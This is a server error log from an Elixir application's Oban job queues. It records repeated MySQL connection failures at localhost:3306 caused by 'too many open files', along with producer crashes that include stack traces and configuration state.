[Sun Sep  6 00:54:06.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:07.099000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:10.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:54:00.241835Z], limit: 5, uuid: "d5e7e973-efe2-43b7-849b-aa60fc5eb4b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.241842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73009>, refresh_timer: #Reference<0.2525715032.1121189889.228275>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:54:00.238003Z], limit: 20, uuid: "e07983aa-aca6-4954-a4f1-95e753c28440", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.238014Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73006>, refresh_timer: #Reference<0.2525715032.1099431938.72979>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:54:00.241283Z], limit: 50, uuid: "29e132d0-9ab4-4db9-a630-26697bf14718", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.241291Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60868>, refresh_timer: #Reference<0.2525715032.1068498948.86440>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:54:00.241030Z], limit: 10, uuid: "bb500ab9-f9bc-41f4-a8a3-dae6d758fa1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.241037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73008>, refresh_timer: #Reference<0.2525715032.1068498948.86433>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:54:00.241631Z], limit: 3, uuid: "3b5f583f-b949-495f-8e37-baf7916d0650", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.241638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73007>, refresh_timer: #Reference<0.2525715032.1099431938.73003>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:54:00.239241Z], limit: 5, uuid: "cd195590-5d3d-410a-863f-9c426ca91b21", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:00.239248Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73010>, refresh_timer: #Reference<0.2525715032.1121189889.228265>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:12.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:17.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:18.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:20.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:21.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:23.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:54:12.238989Z], limit: 10, uuid: "90c23d19-f40f-4126-8c34-f14d7bb0bbe4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.238995Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228410>, refresh_timer: #Reference<0.2525715032.1121189889.228375>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:54:12.238774Z], limit: 5, uuid: "eb7b8ec1-c808-4882-8601-d6edea606773", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.238779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61118>, refresh_timer: #Reference<0.2525715032.1068498948.86646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
